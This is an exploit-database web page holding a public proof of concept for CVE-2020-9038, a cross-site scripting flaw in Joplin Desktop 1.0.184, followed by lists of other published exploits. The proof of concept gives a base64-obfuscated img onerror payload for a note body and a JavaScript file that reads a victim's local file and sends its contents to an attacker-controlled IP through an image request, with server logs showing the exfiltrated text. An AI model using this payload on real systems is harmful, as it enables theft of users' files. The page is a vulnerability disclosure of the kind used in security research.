Menu

Search for hundreds of thousands of exploits

"Joplin Desktop 1.0.184 - Cross-Site Scripting"

Author

Exploit author

"Javier Olmedo"

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-03-02

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Date: 2020-02-27
# Vendor: Laurent Cozic
# Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip
# Affected Version: 1.0.184 and before
# Patched Version: 1.0.185
# Category: Remote
# Platform: Windows
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/79.html
# CVE: 2020-9038
# References:
# https://github.com/JavierOlmedo/CVE-2020-9038
# https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc
 
# 1. Technical Description
# Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting
# vulnerability through the malicious note. This allows a malicious user
# read arbitrary files of system.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection in evil machine (you can use a python server).

python -m SimpleHTTPServer 8080

# 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER)

function readTextFile(file){
    var rawFile = new XMLHttpRequest();
    rawFile.open("GET", file, false);
    rawFile.onreadystatechange = function (){
        if(rawFile.readyState === 4){
            if(rawFile.status === 200 || rawFile.status == 0){
                allText = rawFile.responseText;
                //alert(allText);
                var img = document.createElement('img');
                img.src = "http://[IP:PORT]/" + allText;
                document.body.appendChild(img)
            }
        }
    }
    rawFile.send(null);
}
readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT");
//readTextFile("file:///C:/Windows/System32/drivers/etc/hosts");

# 2.3 Create a secret.txt file with any content in victim desktop.

# 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64).

<p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J
pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O
C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI
pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8080 ...
192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 -
192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 20, december 2019 - [RESEARCHER] Discover
# 20, december 2019 - [RESEARCHER] Report to vendor support
# 21, december 2019 - [DEVELOPER]  Recognized vulnerability
# 13, february 2020 - [DEVELOPER]  Patched vulnerability
# 27, february 2020 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo
Release DateTitleTypePlatformAuthor
2020-04-03"AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)"localwindowsHodorsec
2020-04-03"Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-04-02"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)"localwindows"Paras Bhatia"
2020-04-01"DiskBoss 7.7.14 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-04-01"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)"localwindowsHodorsec
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
Release DateTitleTypePlatformAuthor
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-03-23"CyberArk PSMP 10.9.1 - Policy Restriction Bypass"remotemultiple"LAHBAL Said"
2020-03-18"Broadcom Wi-Fi Devices - 'KR00K Information Disclosure"remotemultiple"Maurizio S"
2020-03-17"Microsoft VSCode Python Extension - Code Execution"localmultipleDoyensec
2020-03-17"ManageEngine Desktop Central - Java Deserialization (Metasploit)"remotemultipleMetasploit
2020-03-09"Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)"remotemultipleMetasploit
2020-03-09"Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit)"remotemultipleMetasploit
2020-03-09"Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)"remotemultipleMetasploit
2020-03-09"Counter Strike: GO - '.bsp' Memory Control (PoC)"localmultiple"0day enthusiast"
2020-03-05"EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)"remotemultipleMetasploit
2020-03-02"Joplin Desktop 1.0.184 - Cross-Site Scripting"webappsmultiple"Javier Olmedo"
2020-03-02"Wing FTP Server 6.2.5 - Privilege Escalation"webappsmultiple"Cary Hooper"
2020-02-28"qdPM < 9.1 - Remote Code Execution"webappsmultiple"Tobin Shields"
2020-02-24"Real Web Pentesting Tutorial Step by Step - [Persian]"webappsmultiple"Meisam Monsef"
2020-02-20"Apache Tomcat - AJP 'Ghostcat File Read/Inclusion"webappsmultipleYDHCUI
2020-02-10"Forcepoint WebSecurity 8.5 - Reflective Cross-Site Scripting"webappsmultiple"Prasenjit Kanti Paul"
2020-02-10"iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()"dosmultiple"Google Security Research"
2020-02-07"Google Invisible RECAPTCHA 3 - Spoof Bypass"webappsmultipleMatamorphosis
2020-02-03"Cacti 1.2.8 - Unauthenticated Remote Code Execution"webappsmultipleAskar
2020-02-03"Cacti 1.2.8 - Authenticated Remote Code Execution"webappsmultipleAskar
2020-01-28"macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image"dosmultiple"Google Security Research"
2020-01-22"KeePass 2.44 - Denial of Service (PoC)"dosmultiple"Mustafa Emre Gül"
2020-01-16"Tautulli 2.1.9 - Denial of Service ( Metasploit )"webappsmultiple"Ismail Tasdelen"
2020-01-16"SunOS 5.10 Generic_147148-26 - Local Privilege Escalation"localmultiple"Marco Ivaldi"
2020-01-16"Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal"webappsmultiple"Dhiraj Mishra"
2020-01-13"Citrix Application Delivery Controller and Gateway 10.5 - Remote Code Execution (Metasploit)"webappsmultiplemekhalleh
2020-01-11"Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution (PoC)"webappsmultiple"Project Zero India"
2020-01-11"Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution"webappsmultipleTrustedSec
2020-01-01"nostromo 1.9.6 - Remote Code Execution"remotemultipleKr0ff
Release DateTitleTypePlatformAuthor
2020-03-02"Joplin Desktop 1.0.184 - Cross-Site Scripting"webappsmultiple"Javier Olmedo"
2020-01-29"XMLBlueprint 16.191112 - XML External Entity Injection"localwindows"Javier Olmedo"
2020-01-20"Easy XML Editor 1.7.8 - XML External Entity Injection"localxml"Javier Olmedo"
2019-08-26"WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection"webappsphp"Javier Olmedo"
2019-03-26"Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting"webappsphp"Javier Olmedo"
2018-12-19"Integria IMS 5.0.83 - Cross-Site Request Forgery"webappsphp"Javier Olmedo"
2018-12-19"Integria IMS 5.0.83 - 'search_string' Cross-Site Scripting"webappsphp"Javier Olmedo"
2018-12-03"PHP Server Monitor 3.3.1 - Cross-Site Request Forgery"webappsphp"Javier Olmedo"
2018-11-26"Ticketly 1.0 - 'kind_id' SQL Injection"webappsphp"Javier Olmedo"
2018-11-21"Ticketly 1.0 - 'name' SQL Injection"webappsphp"Javier Olmedo"
2018-11-20"Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Javier Olmedo"
2018-09-06"Jorani Leave Management 0.6.5 - Cross-Site Scripting"webappsphp"Javier Olmedo"
2018-09-06"Jorani Leave Management 0.6.5 - (Authenticated) 'startdate' SQL Injection"webappsphp"Javier Olmedo"
2018-08-27"Sentrifugo HRMS 3.2 - 'deptid' SQL Injection"webappswindows"Javier Olmedo"
2018-08-16"WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection"webappsphp"Javier Olmedo"
2018-07-19"WordPress Plugin All In One Favicon 4.6 - (Authenticated) Cross-Site Scripting"webappsphp"Javier Olmedo"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48147/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse